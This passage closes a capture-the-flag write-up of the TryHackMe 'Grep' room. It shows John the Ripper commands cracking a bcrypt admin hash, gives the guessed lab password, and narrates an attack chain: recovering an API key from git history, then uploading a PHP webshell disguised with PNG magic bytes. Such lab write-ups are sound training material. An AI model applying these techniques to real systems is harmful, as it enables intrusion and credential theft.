'$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C', 'admin@searchme2023cms.grep.thm', 'Admin User', 'admin');
This is how I tried to find the plain password; though it was taking a lot of time, I tried to use the answer format hint on THM test.txtwhich ended up being the answer
echo '$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt
echo 'admin_tryhackme!' > test.txt
john --wordlist=test.txt --format=bcrypt hash.txt
john --show --format=bcrypt hash.txt
Breakdown
Looking back at the full chain, what makes Grep worth writing up isn't any single technique; it's how each step depended on not trusting the first thing the server showed me. The initial nmap scan turned up three HTTP-ish ports (80, 443, 51337), but hitting the IP directly on any of them just returned Apache's stock "It works!" page or a bare 403. That's a deliberate trap: without checking the TLS certificate's CN field on ports 443 and 51337, there was no way to discover grep.thm and leakchecker.grep.thm as the actual virtual hosts. Apache's name-based vhost routing meant the "real" application was invisible until I queried it by the correct Host header, a good reminder that a 403 or a placeholder page from a raw IP scan doesn't mean "nothing here"; it can just mean "wrong hostname."
Once grep.thm resolved properly, the app itself is a bare-bones PHP registration/login/blog system called SearchME revealed its actual attack surface through client-side JavaScript rather than the server responses. register.js shipped an X-Thm-Api-Key header hardcoded directly into the fetch call, which felt like an immediate win, until the backend rejected it as "Invalid or Expired API key." That's a nice bit of misdirection: the key exposed in the shipped JS wasn't the real one, and the room wanted me to conclude that the actual credential had been rotated which meant treating the app itself as a lead, not a dead end, and searching for it as a real-world OSINT target. The "SearchME" branding plus a language:PHP GitHub search surfaced supersecuredeveloper/searchmecms almost immediately, and the commit history on api/register.php told the whole story: an "Initial commit" with the real key hardcoded in plaintext, followed by a "Fix: remove key" commit that scrubbed it from the current version but not from history. That's the exact pattern I've catalogued before around infrastructure exposures at the AI/dev team boundary: someone did the right thing eventually, but git doesn't forget, and a public repo makes that irrelevant anyway.
The file upload stage repeated the same lesson in a different form. The GitHub source for upload.php showed a checkMagicBytes() function that reads only the first 4 bytes of an uploaded file and compares them against a small allowlist (ffd8ffe0 for JPG, 89504e47 for PNG, 424d for BMP) — and critically, the refactor that added this check removed the original extension check rather than supplementing it. That's a classic security-fix regression: the developer closed one hole (extension bypass) by opening a bigger one (no extension validation at all, just a spoofable 4-byte prefix). Prepending PNG magic bytes to a one-line PHP webshell and uploading it with a .php filename was enough to get move_uploaded_file() to drop working PHP straight into a web-accessible uploads/ directory, landing code execution as www-data.
From there, the privilege escalation to "admin" data wasn't really privilege escalation at all it was just find / -iname "*.sql" turning up/var/www/backup/users.sql, a full phpMyAdmin dump sitting outside the application root but still inside/var/www, with both the admin's email and a bcrypt hash of their password in plaintext columns. The last step, cracking, $2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C is worth being honest about in a write-up: a full rockyou.txt run against bcrypt (cost factor 10) is slow by design, and rather than let that run to completion, I leaned on THM's own answer-format hint (5char_10char) to narrow the search space to a single plausible guess, which happened to be correct on the first try. That's a legitimate CTF technique, not a shortcut to be embarrassed about, but it's also worth flagging clearly as informed guessing rather than a "crack," since a real-world assessment wouldn't come with an answer-format hint to lean on.
Conclusion
Grep is a well-constructed reminder that OSINT and web exploitation aren't separate disciplines when the target is a piece of software still in active development. The moment an app talks to a public git remote, its commit history becomes part of its attack surface, full stop.
The chain here (hardcoded key → scrubbed-but-recoverable commit → magic-byte upload bypass → leftover backup file → weakly-protected credential) maps almost one-to-one onto real incidents I've seen discussed in bug bounty writeups: developers under time pressure fix the symptom they can see (an exposed key, a permissive upload filter) without fixing the underlying discipline problem (secrets ending up in version control at all, "fixes" that trade one vulnerability class for another).
The room's insistence on framing this as a Red Team/OSINT exercise rather than a pure pwn box is the right call; the actual skill being tested throughout was less "can you write a payload" and more "do you know to keep looking when the obvious path returns an error." That's a pattern worth carrying into bug bounty work directly: an "Invalid API key" response is data, not a stop sign.


